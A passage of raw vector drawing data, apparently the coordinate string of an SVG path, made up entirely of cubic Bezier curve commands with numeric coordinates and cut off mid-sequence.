141107.00 34468.00C141107.00 34478.67 141107.00 34489.33 141107.00 34500.00C141118.00 34510.67 141129.00 34521.33 141140.00 34532.00C141129.00 34521.33 141118.00 34510.67 141107.00 34500.00C141107.00 34489.33 141107.00 34478.67 141107.00 34468.00C141118.00 34478.67 141129.00 34489.33 141140.00 34500.00C141150.67 34489.33 141161.33 34478.67 141172.00 34468.00C141150.33 34446.33 141128.67 34424.67 141107.00 34403.00C141118.00 34381.67 141129.00 34360.33 141140.00 34339.00C141150.67 34328.33 141161.33 34317.67 141172.00 34307.00C141182.67 34317.67 141193.33 34328.33 141204.00 34339.00C141214.67 34339.00 141225.33 34339.00 141236.00 34339.00C141246.67 34349.67 141257.33 34360.33 141268.00 34371.00C141268.00 34381.67 141268.00 34392.33 141268.00 34403.00C141278.67 34392.33 141289.33 34381.67 141300.00 34371.00C141310.67 34371.00 141321.33 34371.00 141332.00 34371.00C141321.33 34360.33 141310.67 34349.67 141300.00 34339.00C141268.00 34339.00 141236.00 34339.00 141204.00 34339.00C141193.33 34317.67 141182.67 34296.33 141172.00 34275.00C141193.33 34253.67 141214.67 34232.33 141236.00 34211.00C141257.33 34200.00 141278.67 34189.00 141300.00 34178.00C141300.00 34167.33 141300.00 34156.67 141300.00 34146.00C141321.67 34156.67 141343.33 34167.33 141365.00 34178.00C141354.00 34178.00 141343.00 34178.00 141332.00 34178.00C141332.00 34199.67 141332.00 34221.33 141332.00 34243.00C141332.00 34221.33 141332.00 34199.67 141332.00 34178.00C141353.67 34178.00 141375.33 34178.00 141397.00 34178.00C141386.19 34167.31 141375.58 34156.34 141364.64 34145.82C141343.10 34135.22 141321.55 34124.61 141300.00 34114.00C141289.33 34114.00 141278.67 34114.00 141268.00 34114.00C141278.67 34135.33 141289.33 34156.67 141300.00 34178.00C141289.33 34178.00 141278.67 34178.00 141268.00 34178.00C141268.00 34135.33 141268.00 34092.67 141268.00 34050.00C141289.33 34039.33 141310.67 34028.67 141332.00 34018.00C141343.00 33996.33 141354.00 33974.67 141365.00 33953.00C141386.33 33964.00 141407.67 33975.00 141429.00 33986.00C141407.67 33986.00 141386.33 33986.00 141365.00 33986.00C141365.00 33996.67 141365.00 34007.33 141365.00 34018.00C141386.33 34007.33 141407.67 33996.67 141429.00 33986.00C141439.67 34007.33 141450.33 34028.67 141461.00 34050.00C141450.33 34039.33 141439.67 34028.67 141429.00 34018.00C141439.67 34007.33 141450.33 33996.67 141461.00 33986.00C141450.33 33996.67 141439.67 34007.33 141429.00 34018.00C141439.67 34007.33 141450.33 33996.67 141461.00 33986.00C141450.33 33975.00 141439.67 33964.00 141429.00 33953.00C141429.00 33942.33 141429.00 33931.67 141429.00 33921.00C141396.67 33899.67 141364.33 33878.33 141332.00 33857.00C141332.00 33846.33 141332.00 33835.67 141332.00 33825.00C141353.67 33814.33 141375.33 33803.67 141397.00 33793.00C141439.67 33803.67 141482.33 33814.33 141525.00 33825.00C141536.00 33846.33 141547.00 33867.67 141558.00 33889.00C141558.00 33910.33 141558.00 33931.67 141558.00 33953.00C141568.67 33942.33 141579.33 33931.67 141590.00 33921.00C141590.00 34017.67 141590.00 34114.33 141590.00 34211.00C141590.00 34168.00 141590.00 34125.00 141590.00 34082.00C141600.67 34082.00 141611.33 34082.00 141622.00 34082.00C141632.67 34167.67 141643.33 34253.33 141654.00 34339.00C141632.67 34339.00 141611.33 34339.00 141590.00 34339.00C141590.00 34349.67 141590.00 34360.33 141590.00 34371.00C141579.33 34381.67 141568.67 34392.33 141558.00 34403.00C141558.00 34414.00 141558.00 34425.00 141558.00 34436.00C141536.33 34436.00 141514.67 34436.00 141493.00 34436.00C141418.31 34473.38 141343.61 34510.73 141268.75 34547.75C141257.83 34553.17 141246.92 34558.58 141236.00 34564.00C141236.00 34574.67 141236.00 34585.33 141236.00 34596.00C141225.33 34607.00 141214.67 34618.00 141204.00 34629.00C141204.00 34650.33 141204.00 34671.67 141204.00 34693.00C141214.67 34725.00 141225.33 34757.00 141236.00 34789.00C141246.67 34789.00 141257.33 34789.00 141268.00 34789.00C141257.33 34789.00 141246.67 34789.00 141236.00 34789.00C141225.33 34735.67 141214.67 34682.33 141204.00 34629.00C141214.67 34629.00 141225.33 34629.00 141236.00 34629.00C141257.33 34607.33 141278.67 34585.67 141300.00 34564.00C141332.33 34564.00 141364.67 34564.00 141397.00 34564.00C141397.00 34596.33 141397.00 34628.67 141397.00 34661.00C141375.33 34671.67 141353.67 34682.33 141332.00 34693.00C141332.00 34714.33 141332.00 34735.67 141332.00 34757.00C141321.33 34778.67 141310.67 34800.33 141300.00 34822.00C141300.00 34832.67 141300.00 34843.33 141300.00 34854.00C141289.33 34875.33 141278.67 34896.67 141268.00 34918.00C141268.00 34928.67 141268.00 34939.33 141268.00 34950.00C141246.67 34928.67 141225.33 34907.33 141204.00 34886.00C141193.33 34896.67 141182.67 34907.33 141172.00 34918.00C141172.00 34961.00 141172.00 35004.00 141172.00 35047.00C141161.33 35047.00 141150.67 35047.00 141140.00 35047.00C141140.00 35057.67 141140.00 35068.33 141140.00 35079.00C141150.67 35068.33 141161.33 35057.67 141172.00 35047.00C141182.67 35004.00 141193.33 34961.00 141204.00 34918.00C141214.67 34918.00 141225.33 34918.00 141236.00 34918.00C141246.67 34928.67 141257.33 34939.33 141268.00 34950.00C141278.67 34939.33 141289.33 34928.67 141300.00 34918.00C141300.00 34886.00 141300.00 34854.00 141300.00 34822.00C141321.67 34800.33 141343.33 34778.67 141365.00 34757.00C141365.00 34746.33 141365.00 34735.67 141365.00 34725.00C141386.54 34682.10 141407.87 34639.10 141429.00 34596.00C141448.30 34616.00 141467.68 34635.91 141487.45 34655.45C141489.30 34657.30 141491.15 34659.15 141493.00 34661.00C141482.33 34682.33 141471.67 34703.67 141461.00 34725.00C141450.33 34725.00 141439.67 34725.00 141429.00 34725.00C141450.33 34735.67 141471.67 34746.33 141493.00 34757.00C141493.00 34767.67 141493.00 34778.33 141493.00 34789.00C141493.00 34724.67 141493.00 34660.33 141493.00 34596.00C141514.67 34607.00 141536.33 34618.00 141558.00 34629.00C141579.33 34650.33 141600.67 34671.67 141622.00 34693.00C141600.67 34725.00 141579.33 34757.00 141558.00 34789.00C141558.00 34810.67 141558.00 34832.33 141558.00 34854.00C141547.00 34875.33 141536.00 34896.67 141525.00 34918.00C141525.00 34939.33 141525.00 34960.67 141525.00 34982.00C141514.31 34992.81 141503.34 35003.42 141492.82 35014.36C141471.55 35057.24 141450.27 35100.12 141429.00 35143.00C141429.00 35153.67 141429.00 35164.33 141429.00 35175.00C141418.33 35185.67 141407.67 35196.33 141397.00 35207.00C141407.67 35239.33 141418.33 35271.67 141429.00 35304.00C141429.00 35314.67 141429.00 35325.33 141429.00 35336.00C141407.67 35314.67 141386.33 35293.33 141365.00 35272.00C141354.00 35282.67 141343.00 35293.33 141332.00 35304.00C141321.33 35304.00 141310.67 35304.00 141300.00 35304.00C141310.67 35314.67 141321.33 35325.33 141332.00 35336.00C141343.00 35314.67 141354.00 35293.33 141365.00 35272.00C141386.33 35293.33 141407.67 35314.67 141429.00 35336.00C141396.67 35400.33 141364.33 35464.67 141332.00 35529.00C141332.00 35539.67 141332.00 35550.33 141332.00 35561.00C141310.67 35561.00 141289.33 35561.00 141268.00 35561.00C141257.33 35571.67 141246.67 35582.33 141236.00 35593.00C141214.67 35593.00 141193.33 35593.00 141172.00 35593.00C141172.00 35614.67 141172.00 35636.33 141172.00 35658.00C141161.33 35658.00 141150.67 35658.00 141140.00 35658.00C141129.00 35679.33 141118.00 35700.67 141107.00 35722.00C141118.00 35700.67 141129.00 35679.33 141140.00 35658.00C141150.67 35658.00 141161.33 35658.00 141172.00 35658.00C141182.67 35636.33 141193.33 35614.67 141204.00 35593.00C141214.67 35603.67 141225.33 35614.33 141236.00 35625.00C141257.33 35603.67 141278.67 35582.33 141300.00 35561.00C141278.67 35593.33 141257.33 35625.67 141236.00 35658.00C141246.67 35668.67 141257.33 35679.33 141268.00 35690.00C141246.67 35711.33 141225.33 35732.67 141204.00 35754.00C141225.33 35732.67 141246.67 35711.33 141268.00 35690.00C141268.00 35668.33 141268.00 35646.67 141268.00 35625.00C141278.67 35614.33 141289.33 35603.67 141300.00 35593.00C141310.67 35593.00 141321.33 35593.00 141332.00 35593.00C141321.33 35646.67 141310.67 35700.33 141300.00 35754.00C141321.46 35797.11 141343.13 35840.10 141365.00 35883.00C141365.00 35872.00 141365.00 35861.00 141365.00 35850.00C141386.33 35850.00 141407.67 35850.00 141429.00 35850.00C141429.00 35775.00 141429.00 35700.00 141429.00 35625.00C141439.67 35614.33 141450.33 35603.67 141461.00 35593.00C141482.33 35528.67 141503.67 35464.33 141525.00 35400.00C141525.00 35346.33 141525.00 35292.67 141525.00 35239.00C141536.00 35228.33 141547.00 35217.67 141558.00 35207.00C141590.00 35196.33 141622.00 35185.67 141654.00 35175.00C141675.33 35207.33 141696.67 35239.67 141718.00 35272.00C141718.00 35282.67 141718.00 35293.33 141718.00 35304.00C141729.00 35293.33 141740.00 35282.67 141751.00 35272.00C141761.67 35293.33 141772.33 35314.67 141783.00 35336.00C141804.33 35325.33 141825.67 35314.67 141847.00 35304.00C141846.92 35293.21 141847.17 35282.38 141846.88 35271.62C141836.25 35239.42 141825.63 35207.21 141815.00 35175.00C141825.67 35164.33 141836.33 35153.67 141847.00 35143.00C141847.00 35121.67 141847.00 35100.33 141847.00 35079.00C141868.33 35046.67 141889.67 35014.33 141911.00 34982.00C141911.00 34971.33 141911.00 34960.67 141911.00 34950.00C141954.08 34917.89 141997.27 34885.90 142040.28 34853.72C142061.52 34832.14 142082.76 34810.57 142104.00 34789.00C142114.67 34789.00 142125.33 34789.00 142136.00 34789.00C142146.67 34800.00 142157.33 34811.00 142168.00 34822.00C142179.00 34800.33 142190.00 34778.67 142201.00 34757.00C142211.67 34757.00 142222.33 34757.00 142233.00 34757.00C142222.33 34735.67 142211.67 34714.33 142201.00 34693.00C142211.67 34682.33 142222.33 34671.67 142233.00 34661.00C142243.67 34661.00 142254.33 34661.00 142265.00 34661.00C142265.00 34650.33 142265.00 34639.67 142265.00 34629.00C142275.67 34607.33 142286.33 34585.67 142297.00 34564.00C142297.00 34553.33 142297.00 34542.67 142297.00 34532.00C142307.67 34532.00 142318.33 34532.00 142329.00 34532.00C142329.00 34542.67 142329.00 34553.33 142329.00 34564.00C142339.67 34553.33 142350.33 34542.67 142361.00 34532.00C142372.00 34532.00 142383.00 34532.00 142394.00 34532.00C142394.00 34553.33 142394.00 34574.67 142394.00 34596.00C142383.00 34596.00 142372.00 34596.00 142361.00 34596.00C142372.00 34607.00 142383.00 34618.00 142394.00 34629.00C142394.00 34650.33 142394.00 34671.67 142394.00 34693.00C142394.00 34671.67 142394.00 34650.33 142394.00 34629.00C142383.00 34639.67 142372.00 34650.33 142361.00 34661.00C142372.00 34682.33 142383.00 34703.67 142394.00 34725.00C142404.67 34735.67 142415.33 34746.33 142426.00 34757.00C142393.67 34778.67 142361.33 34800.33 142329.00 34822.00C142339.67 34822.00 142350.33 34822.00 142361.00 34822.00C142382.67 34800.33 142404.33 34778.67 142426.00 34757.00C142426.00 34810.67 142426.00 34864.33 142426.00 34918.00C142436.67 34928.67 142447.33 34939.33 142458.00 34950.00C142479.33 34950.00 142500.67 34950.00 142522.00 34950.00C142511.33 34939.33 142500.67 34928.67 142490.00 34918.00C142479.33 34928.67 142468.67 34939.33 142458.00 34950.00C142447.33 34939.33 142436.67 34928.67 142426.00 34918.00C142426.00 34896.67 142426.00 34875.33 142426.00 34854.00C142436.67 34832.33 142447.33 34810.67 142458.00 34789.00C142447.33 34757.00 142436.67 34725.00 142426.00 34693.00C142426.00 34639.33 142426.00 34585.67 142426.00 34532.00C142436.67 34521.33 142447.33 34510.67 142458.00 34500.00C142458.00 34478.67 142458.00 34457.33 142458.00 34436.00C142468.67 34425.00 142479.33 34414.00 142490.00 34403.00C142500.67 34371.00 142511.33 34339.00 142522.00 34307.00C142532.67 34296.33 142543.33 34285.67 142554.00 34275.00C142543.33 34253.67 142532.67 34232.33 142522.00 34211.00C142522.00 34221.67 142522.00 34232.33 142522.00 34243.00C142522.00 34232.00 142522.00 34221.00 142522.00 34210.00C142511.33 34199.33 142500.67 34188.67 142490.00 34178.00C142495.33 34178.00 142500.67 34178.00 142506.00 34178.00C142500.67 34167.33 142495.33 34156.67 142490.00 34146.00C142500.67 34124.67 142511.33 34103.33 142522.00 34082.00C142522.00 34071.33 142522.00 34060.67 142522.00 34050.00C142532.67 34050.00 142543.33 34050.00 142554.00 34050.00C142564.67 34060.67 142575.33 34071.33 142586.00 34082.00C142575.33 34103.33 142564.67 34124.67 142554.00 34146.00C142564.67 34156.67 142575.33 34167.33 142586.00 34178.00C142575.33 34189.00 142564.67 34200.00 142554.00 34211.00C142543.33 34264.33 142532.67 34317.67 142522.00 34371.00C142543.33 34414.00 142564.67 34457.00 142586.00 34500.00C142564.46 34542.90 142543.13 34585.90 142522.00 34629.00C142522.00 34650.33 142522.00 34671.67 142522.00 34693.00C142543.33 34693.00 142564.67 34693.00 142586.00 34693.00C142586.00 34703.67 142586.00 34714.33 142586.00 34725.00C142575.33 34746.33 142564.67 34767.67 142554.00 34789.00C142564.67 34789.00 142575.33 34789.00 142586.00 34789.00C142586.00 34767.67 142586.00 34746.33 142586.00 34725.00C142597.00 34725.00 142608.00 34725.00 142619.00 34725.00C142608.00 34725.00 142597.00 34725.00 142586.00 34725.00C142586.00 34714.33 142586.00 34703.67 142586.00 34693.00C142575.33 34682.33 142564.67 34671.67 142554.00 34661.00C142554.00 34650.33 142554.00 34639.67 142554.00 34629.00C142564.67 34618.00 142575.33 34607.00 142586.00 34596.00C142607.67 34607.00 142629.33 34618.00 142651.00 34629.00C142661.67 34618.00 142672.33 34607.00 142683.00 34596.00C142650.67 34585.33 142618.33 34574.67 142586.00 34564.00C142597.00 34532.00 142608.00 34500.00 142619.00 34468.00C142640.33 34489.33 142661.67 34510.67 142683.00 34532.00C142683.00 34553.33 142683.00 34574.67 142683.00 34596.00C142672.19 34607.02 142661.59 34618.34 142650.64 34629.18C142629.10 34639.78 142607.55 34650.39 142586.00 34661.00C142607.67 34650.33 142629.33 34639.67 142651.00 34629.00C142651.00 34639.67 142651.00 34650.33 142651.00 34661.00C142672.33 34639.33 142693.67 34617.67 142715.00 34596.00C142715.00 34564.00 142715.00 34532.00 142715.00 34500.00C142685.87 34470.71 142656.32 34441.82 142627.73 34412.00C142624.82 34409.00 142621.91 34406.00 142619.00 34403.00C142619.00 34381.67 142619.00 34360.33 142619.00 34339.00C142629.67 34328.33 142640.33 34317.67 142651.00 34307.00C142651.00 34350.00 142651.00 34393.00 142651.00 34436.00C142661.67 34403.67 142672.33 34371.33 142683.00 34339.00C142693.69 34349.81 142704.66 34360.42 142715.18 34371.36C142725.78 34392.90 142736.39 34414.45 142747.00 34436.00C142736.33 34425.00 142725.67 34414.00 142715.00 34403.00C142704.33 34414.00 142693.67 34425.00 142683.00 34436.00C142693.67 34436.00 142704.33 34436.00 142715.00 34436.00C142704.33 34446.67 142693.67 34457.33 142683.00 34468.00C142683.00 34478.67 142683.00 34489.33 142683.00 34500.00C142693.67 34489.33 142704.33 34478.67 142715.00 34468.00C142715.00 34553.67 142715.00 34639.33 142715.00 34725.00C142693.67 34757.33 142672.33 34789.67 142651.00 34822.00C142672.33 34800.33 142693.67 34778.67 142715.00 34757.00C142725.67 34725.00 142736.33 34693.00 142747.00 34661.00C142736.33 34650.33 142725.67 34639.67 142715.00 34629.00C142736.33 34618.00 142757.67 34607.00 142779.00 34596.00C142800.67 34617.67 142822.33 34639.33 142844.00 34661.00C142844.00 34682.33 142844.00 34703.67 142844.00 34725.00C142844.00 34703.67 142844.00 34682.33 142844.00 34661.00C142876.00 34661.00 142908.00 34661.00 142940.00 34661.00C142950.67 34650.33 142961.33 34639.67 142972.00 34629.00C142982.67 34629.00 142993.33 34629.00 143004.00 34629.00C143024.00 34648.30 143043.91 34667.68 143063.45 34687.45C143075.97 34699.97 143088.48 34712.48 143101.00 34725.00C143122.33 34725.00 143143.67 34725.00 143165.00 34725.00C143175.67 34746.33 143186.33 34767.67 143197.00 34789.00C143208.00 34789.00 143219.00 34789.00 143230.00 34789.00C143219.00 34767.67 143208.00 34746.33 143197.00 34725.00C143197.00 34714.33 143197.00 34703.67 143197.00 34693.00C143208.00 34671.67 143219.00 34650.33 143230.00 34629.00C143251.33 34618.00 143272.67 34607.00 143294.00 34596.00C143304.67 34617.67 143315.33 34639.33 143326.00 34661.00C143304.67 34661.00 143283.33 34661.00 143262.00 34661.00C143262.00 34693.00 143262.00 34725.00 143262.00 34757.00C143272.67 34767.67 143283.33 34778.33 143294.00 34789.00C143283.33 34767.67 143272.67 34746.33 143262.00 34725.00C143272.67 34714.33 143283.33 34703.67 143294.00 34693.00C143304.67 34714.33 143315.33 34735.67 143326.00 34757.00C143347.33 34757.00 143368.67 34757.00 143390.00 34757.00C143368.67 34757.00 143347.33 34757.00 143326.00 34757.00C143315.33 34735.67 143304.67 34714.33 143294.00 34693.00C143358.33 34682.33 143422.67 34671.67 143487.00 34661.00C143454.67 34661.00 143422.33 34661.00 143390.00 34661.00C143390.00 34650.33 143390.00 34639.67 143390.00 34629.00C143400.87 34617.65 143412.03 34606.55 143422.72 34595.05C143454.81 34552.70 143486.91 34510.35 143519.00 34468.00C143540.33 34457.33 143561.67 34446.67 143583.00 34436.00C143604.67 34457.33 143626.33 34478.67 143648.00 34500.00C143637.00 34467.67 143626.00 34435.33 143615.00 34403.00C143636.67 34424.67 143658.33 34446.33 143680.00 34468.00C143669.33 34446.33 143658.67 34424.67 143648.00 34403.00C143648.00 34392.33 143648.00 34381.67 143648.00 34371.00C143669.33 34371.00 143690.67 34371.00 143712.00 34371.00C143701.33 34371.00 143690.67 34371.00 143680.00 34371.00C143669.33 34360.33 143658.67 34349.67 143648.00 34339.00C143669.33 34328.33 143690.67 34317.67 143712.00 34307.00C143733.33 34317.67 143754.67 34328.33 143776.00 34339.00C143776.00 34328.33 143776.00 34317.67 143776.00 34307.00C143765.33 34307.00 143754.67 34307.00 143744.00 34307.00C143776.00 34307.00 143808.00 34307.00 143840.00 34307.00C143829.33 34307.00 143818.67 34307.00 143808.00 34307.00C143840.33 34307.00 143872.67 34307.00 143905.00 34307.00C143915.67 34328.33 143926.33 34349.67 143937.00 34371.00C143915.67 34381.67 143894.33 34392.33 143873.00 34403.00C143873.00 34392.33 143873.00 34381.67 143873.00 34371.00C143851.33 34403.33 143829.67 34435.67 143808.00 34468.00C143818.67 34532.33 143829.33 34596.67 143840.00 34661.00C143818.67 34650.33 143797.33 34639.67 143776.00 34629.00C143776.00 34586.00 143776.00 34543.00 143776.00 34500.00C143765.33 34521.33 143754.67 34542.67 143744.00 34564.00C143744.00 34596.33 143744.00 34628.67 143744.00 34661.00C143712.00 34650.33 143680.00 34639.67 143648.00 34629.00C143615.67 34629.00 143583.33 34629.00 143551.00 34629.00C143572.33 34629.00 143593.67 34629.00 143615.00 34629.00C143647.33 34650.33 143679.67 34671.67 143712.00 34693.00C143722.67 34693.00 143733.33 34693.00 143744.00 34693.00C143701.00 34693.00 143658.00 34693.00 143615.00 34693.00C143636.67 34703.67 143658.33 34714.33 143680.00 34725.00C143660.48 34744.63 143640.84 34764.15 143620.86 34783.32C143617.75 34786.30 143614.93 34789.69 143610.76 34791.19C143590.84 34801.46 143570.92 34811.73 143551.00 34822.00C143572.33 34822.00 143593.67 34822.00 143615.00 34822.00C143604.33 34843.33 143593.67 34864.67 143583.00 34886.00C143583.00 34896.67 143583.00 34907.33 143583.00 34918.00C143561.67 34928.67 143540.33 34939.33 143519.00 34950.00C143497.67 34950.00 143476.33 34950.00 143455.00 34950.00C143465.67 34971.33 143476.33 34992.67 143487.00 35014.00C143476.33 35035.67 143465.67 35057.33 143455.00 35079.00C143465.67 35100.33 143476.33 35121.67 143487.00 35143.00C143487.00 35175.00 143487.00 35207.00 143487.00 35239.00C143497.67 35250.00 143508.33 35261.00 143519.00 35272.00C143519.00 35261.00 143519.00 35250.00 143519.00 35239.00C143540.33 35239.00 143561.67 35239.00 143583.00 35239.00C143604.67 35228.33 143626.33 35217.67 143648.00 35207.00C143669.33 35228.67 143690.67 35250.33 143712.00 35272.00C143722.67 35293.33 143733.33 35314.67 143744.00 35336.00C143744.00 35325.33 143744.00 35314.67 143744.00 35304.00C143776.00 35261.00 143808.00 35218.00 143840.00 35175.00C143840.00 35143.00 143840.00 35111.00 143840.00 35079.00C143851.00 35079.00 143862.00 35079.00 143873.00 35079.00C143905.00 35111.00 143937.00 35143.00 143969.00 35175.00C143969.00 35196.33 143969.00 35217.67 143969.00 35239.00C143979.67 35260.67 143990.33 35282.33 144001.00 35304.00C143990.33 35314.67 143979.67 35325.33 143969.00 35336.00C143979.67 35336.00 143990.33 35336.00 144001.00 35336.00C144011.67 35325.33 144022.33 35314.67 144033.00 35304.00C144011.67 35271.67 143990.33 35239.33 143969.00 35207.00C143979.67 35207.00 143990.33 35207.00 144001.00 35207.00C144033.33 35250.00 144065.67 35293.00 144098.00 35336.00C144087.00 35357.33 144076.00 35378.67 144065.00 35400.00C144033.00 35432.33 144001.00 35464.67 143969.00 35497.00C144001.00 35486.33 144033.00 35475.67 144065.00 35465.00C144076.00 35432.67 144087.00 35400.33 144098.00 35368.00C144098.00 35346.67 144098.00 35325.33 144098.00 35304.00C144087.00 35293.33 144076.00 35282.67 144065.00 35272.00C144054.33 35229.00 144043.67 35186.00 144033.00 35143.00C144033.00 35132.33 144033.00 35121.67 144033.00 35111.00C144054.67 35111.00 144076.33 35111.00 144098.00 35111.00C144087.00 35100.33 144076.00 35089.67 144065.00 35079.00C144076.00 35079.00 144087.00 35079.00 144098.00 35079.00C144098.00 35089.67 144098.00 35100.33 144098.00 35111.00C144108.69 35100.19 144119.66 35089.58 144130.18 35078.64C144140.78 35057.10 144151.39 35035.55 144162.00 35014.00C144162.00 35057.00 144162.00 35100.00 144162.00 35143.00C144151.33 35186.00 144140.67 35229.00 144130.00 35272.00C144140.67 35272.00 144151.33 35272.00 144162.00 35272.00C144162.00 35293.33 144162.00 35314.67 144162.00 35336.00C144183.33 35314.67 144204.67 35293.33 144226.00 35272.00C144194.00 35261.00 144162.00 35250.00 144130.00 35239.00C144151.33 35228.33 144172.67 35217.67 144194.00 35207.00C144215.33 35228.67 144236.67 35250.33 144258.00 35272.00C144247.33 35239.67 144236.67 35207.33 144226.00 35175.00C144226.00 35164.33 144226.00 35153.67 144226.00 35143.00C144269.08 35110.89 144312.27 35078.91 144355.28 35046.71C144365.85 35035.81 144376.43 35024.90 144387.00 35014.00C144397.67 35014.00 144408.33 35014.00 144419.00 35014.00C144429.67 35025.00 144440.33 35036.00 144451.00 35047.00C144451.00 35025.33 144451.00 35003.67 144451.00 34982.00C144451.00 35025.00 144451.00 35068.00 144451.00 35111.00C144419.00 35143.00 144387.00 35175.00 144355.00 35207.00C144355.00 35239.33 144355.00 35271.67 144355.00 35304.00C144333.67 35304.00 144312.33 35304.00 144291.00 35304.00C144312.33 35304.00 144333.67 35304.00 144355.00 35304.00C144365.67 35282.33 144376.33 35260.67 144387.00 35239.00C144408.33 35217.67 144429.67 35196.33 144451.00 35175.00C144451.00 35164.33 144451.00 35153.67 144451.00 35143.00C144462.00 35143.00 144473.00 35143.00 144484.00 35143.00C144484.00 35132.33 144484.00 35121.67 144484.00 35111.00C144484.00 35132.33 144484.00 35153.67 144484.00 35175.00C144473.00 35175.00 144462.00 35175.00 144451.00 35175.00C144462.00 35185.67 144473.00 35196.33 144484.00 35207.00C144494.75 35164.22 144505.29 35121.37 144516.18 35078.64C144526.78 35057.10 144537.39 35035.55 144548.00 35014.00C144558.69 35025.14 144569.65 35036.10 144580.18 35047.36C144590.79 35068.57 144601.39 35089.79 144612.00 35111.00C144612.00 35121.67 144612.00 35132.33 144612.00 35143.00C144622.67 35153.67 144633.33 35164.33 144644.00 35175.00C144654.75 35207.44 144665.34 35239.95 144676.18 35272.35C144687.12 35293.57 144698.06 35314.79 144709.00 35336.00C144709.00 35368.00 144709.00 35400.00 144709.00 35432.00C144687.33 35464.33 144665.67 35496.67 144644.00 35529.00C144633.31 35518.19 144622.34 35507.58 144611.82 35496.64C144601.22 35475.10 144590.61 35453.55 144580.00 35432.00C144569.33 35443.00 144558.67 35454.00 144548.00 35465.00C144537.33 35454.00 144526.67 35443.00 144516.00 35432.00C144516.00 35443.00 144516.00 35454.00 144516.00 35465.00C144494.33 35465.00 144472.67 35465.00 144451.00 35465.00C144451.00 35443.33 144451.00 35421.67 144451.00 35400.00C144440.33 35421.67 144429.67 35443.33 144419.00 35465.00C144365.33 35465.00 144311.67 35465.00 144258.00 35465.00C144247.33 35454.00 144236.67 35443.00 144226.00 35432.00C144215.33 35432.00 144204.67 35432.00 144194.00 35432.00C144204.67 35432.00 144215.33 35432.00 144226.00 35432.00C144236.67 35453.67 144247.33 35475.33 144258.00 35497.00C144236.67 35529.00 144215.33 35561.00 144194.00 35593.00C144183.33 35593.00 144172.67 35593.00 144162.00 35593.00C144151.33 35603.67 144140.67 35614.33 144130.00 35625.00C144108.33 35603.67 144086.67 35582.33 144065.00 35561.00C144043.67 35582.33 144022.33 35603.67 144001.00 35625.00C144022.33 35603.67 144043.67 35582.33 144065.00 35561.00C144065.00 35582.33 144065.00 35603.67 144065.00 35625.00C144076.00 35625.00 144087.00 35625.00 144098.00 35625.00C144098.00 35636.00 144098.00 35647.00 144098.00 35658.00C144087.00 35658.00 144076.00 35658.00 144065.00 35658.00C144043.67 35679.33 144022.33 35700.67 144001.00 35722.00C143990.33 35722.00 143979.67 35722.00 143969.00 35722.00C143969.00 35732.67 143969.00 35743.33 143969.00 35754.00C143990.33 35754.00 144011.67 35754.00 144033.00 35754.00C144043.67 35764.67 144054.33 35775.33 144065.00 35786.00C144054.33 35786.00 144043.67 35786.00 144033.00 35786.00C144043.67 35786.00 144054.33 35786.00 144065.00 35786.00C144076.00 35796.67 144087.00 35807.33 144098.00 35818.00C144130.00 35828.67 144162.00 35839.33 144194.00 35850.00C144172.67 35871.67 144151.33 35893.33 144130.00 35915.00C144097.67 35915.00 144065.33 35915.00 144033.00 35915.00C144033.00 35925.67 144033.00 35936.33 144033.00 35947.00C144043.67 35936.33 144054.33 35925.67 144065.00 35915.00C144086.67 35925.67 144108.33 35936.33 144130.00 35947.00C144151.33 35936.33 144172.67 35925.67 144194.00 35915.00C144194.00 35882.67 144194.00 35850.33 144194.00 35818.00C144172.67 35818.00 144151.33 35818.00 144130.00 35818.00C144119.33 35807.33 144108.67 35796.67 144098.00 35786.00C144098.00 35775.33 144098.00 35764.67 144098.00 35754.00C144130.00 35754.00 144162.00 35754.00 144194.00 35754.00C144204.81 35764.69 144215.42 35775.66 144226.36 35786.18C144247.90 35796.78 144269.45 35807.39 144291.00 35818.00C144323.00 35818.00 144355.00 35818.00 144387.00 35818.00C144397.67 35807.33 144408.33 35796.67 144419.00 35786.00C144429.67 35786.00 144440.33 35786.00 144451.00 35786.00C144451.00 35818.33 144451.00 35850.67 144451.00 35883.00C144440.33 35883.00 144429.67 35883.00 144419.00 35883.00C144408.33 35904.33 144397.67 35925.67 144387.00 35947.00C144355.00 35947.00 144323.00 35947.00 144291.00 35947.00C144301.67 35947.00 144312.33 35947.00 144323.00 35947.00C144333.67 35957.67 144344.33 35968.33 144355.00 35979.00C144311.92 36011.11 144268.73 36043.09 144225.72 36075.29C144215.15 36086.19 144204.57 36097.10 144194.00 36108.00C144151.00 36118.67 144108.00 36129.33 144065.00 36140.00C144054.33 36140.00 144043.67 36140.00 144033.00 36140.00C144022.33 36161.33 144011.67 36182.67 144001.00 36204.00C143969.00 36204.00 143937.00 36204.00 143905.00 36204.00C143915.67 36214.67 143926.33 36225.33 143937.00 36236.00C143947.67 36225.33 143958.33 36214.67 143969.00 36204.00C143969.00 36214.67 143969.00 36225.33 143969.00 36236.00C143947.67 36236.00 143926.33 36236.00 143905.00 36236.00C143894.33 36257.67 143883.67 36279.33 143873.00 36301.00C143851.33 36301.00 143829.67 36301.00 143808.00 36301.00C143786.67 36311.67 143765.33 36322.33 143744.00 36333.00C143787.00 36322.33 143830.00 36311.67 143873.00 36301.00C143883.67 36290.00 143894.33 36279.00 143905.00 36268.00C143926.33 36268.00 143947.67 36268.00 143969.00 36268.00C143990.33 36236.00 144011.67 36204.00 144033.00 36172.00C144065.33 36172.00 144097.67 36172.00 144130.00 36172.00C144205.00 36150.67 144280.00 36129.33 144355.00 36108.00C144355.00 36118.67 144355.00 36129.33 144355.00 36140.00C144344.33 36161.33 144333.67 36182.67 144323.00 36204.00C144301.33 36214.67 144279.67 36225.33 144258.00 36236.00C144236.67 36236.00 144215.33 36236.00 144194.00 36236.00C144183.33 36246.67 144172.67 36257.33 144162.00 36268.00C144183.33 36257.33 144204.67 36246.67 144226.00 36236.00C144236.67 36236.00 144247.33 36236.00 144258.00 36236.00C144301.00 36204.00 144344.00 36172.00 144387.00 36140.00C144387.00 36161.33 144387.00 36182.67 144387.00 36204.00C144408.33 36204.00 144429.67 36204.00 144451.00 36204.00C144429.67 36204.00 144408.33 36204.00 144387.00 36204.00C144397.71 36182.40 144408.71 36160.92 144419.25 36139.24C144429.83 36107.16 144440.42 36075.08 144451.00 36043.00C144472.67 36043.00 144494.33 36043.00 144516.00 36043.00C144548.00 36032.33 144580.00 36021.67 144612.00 36011.00C144622.67 35979.00 144633.33 35947.00 144644.00 35915.00C144654.67 35925.67 144665.33 35936.33 144676.00 35947.00C144676.00 35968.33 144676.00 35989.67 144676.00 36011.00C144665.33 36021.67 144654.67 36032.33 144644.00 36043.00C144633.33 36086.00 144622.67 36129.00 